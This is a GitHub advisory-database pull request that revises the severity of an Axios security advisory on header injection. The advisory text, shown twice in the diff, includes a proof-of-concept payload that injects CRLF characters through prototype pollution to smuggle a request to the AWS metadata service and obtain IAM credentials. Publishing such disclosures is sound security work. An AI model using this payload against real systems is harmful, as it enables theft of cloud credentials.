[GHSA-fvcv-3m26-pcqx] Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain#7419
Conversation
|
Hi there @jasonsaayman! A community member has suggested an improvement to your security advisory. If approved, this change will affect the global advisory listed at github.com/advisories. It will not affect the version listed in your project repository. This change will be reviewed by our Security Curation Team. If you have thoughts or feedback, please share them in a comment here! If this PR has already been closed, you can start a new community contribution for this advisory |
There was a problem hiding this comment.
Pull request overview
Updates the GitHub-reviewed advisory record for GHSA-fvcv-3m26-pcqx (Axios header-injection chain leading to cloud metadata exfiltration) to align the narrative with the updated severity assessment.
Changes:
- Updates the advisory
modifiedtimestamp. - Adjusts the CVSS/severity wording in the
detailsnarrative (Critical 9.9 → Moderate 4.8).
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| ], | ||
| "summary": "Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain", | ||
| "details": "# Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain\n\n## Summary\nThe Axios library is vulnerable to a specific \"Gadget\" attack chain that allows **Prototype Pollution** in any third-party dependency to be escalated into **Remote Code Execution (RCE)** or **Full Cloud Compromise** (via AWS IMDSv2 bypass).\n\nWhile Axios patches exist for *preventing check* pollution, the library remains vulnerable to *being used* as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities.\n\n**Severity**: Critical (CVSS 9.9)\n**Affected Versions**: All versions (v0.x - v1.x)\n**Vulnerable Component**: `lib/adapters/http.js` (Header Processing)\n\n## Usage of \"Helper\" Vulnerabilities\nThis vulnerability is unique because it requires **Zero Direct User Input**.\nIf an attacker can pollute `Object.prototype` via *any* other library in the stack (e.g., `qs`, `minimist`, `ini`, `body-parser`), Axios will automatically pick up the polluted properties during its config merge.\n\nBecause Axios does not sanitise these merged header values for CRLF (`\\r\\n`) characters, the polluted property becomes a **Request Smuggling** payload.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\nImagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:\n```javascript\nObject.prototype['x-amz-target'] = \"dummy\\r\\n\\r\\nPUT /latest/api/token HTTP/1.1\\r\\nHost: 169.254.169.254\\r\\nX-aws-ec2-metadata-token-ttl-seconds: 21600\\r\\n\\r\\nGET /ignore\";\n```\n\n### 2. The Gadget Trigger (Safe Code)\nThe application makes a completely safe, hardcoded request:\n```javascript\n// This looks safe to the developer\nawait axios.get('https://analytics.internal/pings'); \n```\n\n### 3. The Execution\nAxios merges the prototype property `x-amz-target` into the request headers. It then writes the header value directly to the socket without validation.\n\n**Resulting HTTP traffic:**\n```http\nGET /pings HTTP/1.1\nHost: analytics.internal\nx-amz-target: dummy\n\nPUT /latest/api/token HTTP/1.1\nHost: 169.254.169.254\nX-aws-ec2-metadata-token-ttl-seconds: 21600\n\nGET /ignore HTTP/1.1\n...\n```\n\n### 4. The Impact (IMDSv2 Bypass)\nThe \"Smuggled\" second request is a valid `PUT` request to the AWS Metadata Service. It includes the required `X-aws-ec2-metadata-token-ttl-seconds` header (which a normal SSRF cannot send).\nThe Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account.\n\n## Impact Analysis\n- **Security Control Bypass**: Defeats AWS IMDSv2 (Session Tokens).\n- **Authentication Bypass**: Can inject headers (`Cookie`, `Authorization`) to pivot into internal administrative panels.\n- **Cache Poisoning**: Can inject `Host` headers to poison shared caches.\n\n## Recommended Fix\nValidate all header values in `lib/adapters/http.js` and `xhr.js` before passing them to the underlying request function.\n\n**Patch Suggestion:**\n```javascript\n// In lib/adapters/http.js\nutils.forEach(requestHeaders, function setRequestHeader(val, key) {\n if (/[\\r\\n]/.test(val)) {\n throw new Error('Security: Header value contains invalid characters');\n }\n // ... proceed to set header\n});\n```\n\n## References\n- **OWASP**: CRLF Injection (CWE-113)\n\nThis report was generated as part of a security audit of the Axios library.", | ||
| "details": "# Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain\n\n## Summary\nThe Axios library is vulnerable to a specific \"Gadget\" attack chain that allows **Prototype Pollution** in any third-party dependency to be escalated into **Remote Code Execution (RCE)** or **Full Cloud Compromise** (via AWS IMDSv2 bypass).\n\nWhile Axios patches exist for *preventing check* pollution, the library remains vulnerable to *being used* as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities.\n\n**Severity**: Moderate (CVSS 4.8)\n**Affected Versions**: All versions (v0.x - v1.x)\n**Vulnerable Component**: `lib/adapters/http.js` (Header Processing)\n\n## Usage of \"Helper\" Vulnerabilities\nThis vulnerability is unique because it requires **Zero Direct User Input**.\nIf an attacker can pollute `Object.prototype` via *any* other library in the stack (e.g., `qs`, `minimist`, `ini`, `body-parser`), Axios will automatically pick up the polluted properties during its config merge.\n\nBecause Axios does not sanitise these merged header values for CRLF (`\\r\\n`) characters, the polluted property becomes a **Request Smuggling** payload.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\nImagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:\n```javascript\nObject.prototype['x-amz-target'] = \"dummy\\r\\n\\r\\nPUT /latest/api/token HTTP/1.1\\r\\nHost: 169.254.169.254\\r\\nX-aws-ec2-metadata-token-ttl-seconds: 21600\\r\\n\\r\\nGET /ignore\";\n```\n\n### 2. The Gadget Trigger (Safe Code)\nThe application makes a completely safe, hardcoded request:\n```javascript\n// This looks safe to the developer\nawait axios.get('https://analytics.internal/pings'); \n```\n\n### 3. The Execution\nAxios merges the prototype property `x-amz-target` into the request headers. It then writes the header value directly to the socket without validation.\n\n**Resulting HTTP traffic:**\n```http\nGET /pings HTTP/1.1\nHost: analytics.internal\nx-amz-target: dummy\n\nPUT /latest/api/token HTTP/1.1\nHost: 169.254.169.254\nX-aws-ec2-metadata-token-ttl-seconds: 21600\n\nGET /ignore HTTP/1.1\n...\n```\n\n### 4. The Impact (IMDSv2 Bypass)\nThe \"Smuggled\" second request is a valid `PUT` request to the AWS Metadata Service. It includes the required `X-aws-ec2-metadata-token-ttl-seconds` header (which a normal SSRF cannot send).\nThe Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account.\n\n## Impact Analysis\n- **Security Control Bypass**: Defeats AWS IMDSv2 (Session Tokens).\n- **Authentication Bypass**: Can inject headers (`Cookie`, `Authorization`) to pivot into internal administrative panels.\n- **Cache Poisoning**: Can inject `Host` headers to poison shared caches.\n\n## Recommended Fix\nValidate all header values in `lib/adapters/http.js` and `xhr.js` before passing them to the underlying request function.\n\n**Patch Suggestion:**\n```javascript\n// In lib/adapters/http.js\nutils.forEach(requestHeaders, function setRequestHeader(val, key) {\n if (/[\\r\\n]/.test(val)) {\n throw new Error('Security: Header value contains invalid characters');\n }\n // ... proceed to set header\n});\n```\n\n## References\n- **OWASP**: CRLF Injection (CWE-113)\n\nThis report was generated as part of a security audit of the Axios library.", |
|
Hi there @jasonsaayman! A community member has suggested an improvement to your security advisory. If approved, this change will affect the global advisory listed at github.com/advisories. It will not affect the version listed in your project repository. This change will be reviewed by our Security Curation Team. If you have thoughts or feedback, please share them in a comment here! If this PR has already been closed, you can start a new community contribution for this advisory |
|
I wanted to open a separate PR, but the GitHub Security Advisory interface doesn't seem to let me do that. And it reverted the first edit :( Sorry for the multiple pings. |
|
Hi there @jasonsaayman! A community member has suggested an improvement to your security advisory. If approved, this change will affect the global advisory listed at github.com/advisories. It will not affect the version listed in your project repository. This change will be reviewed by our Security Curation Team. If you have thoughts or feedback, please share them in a comment here! If this PR has already been closed, you can start a new community contribution for this advisory |
Updates
Comments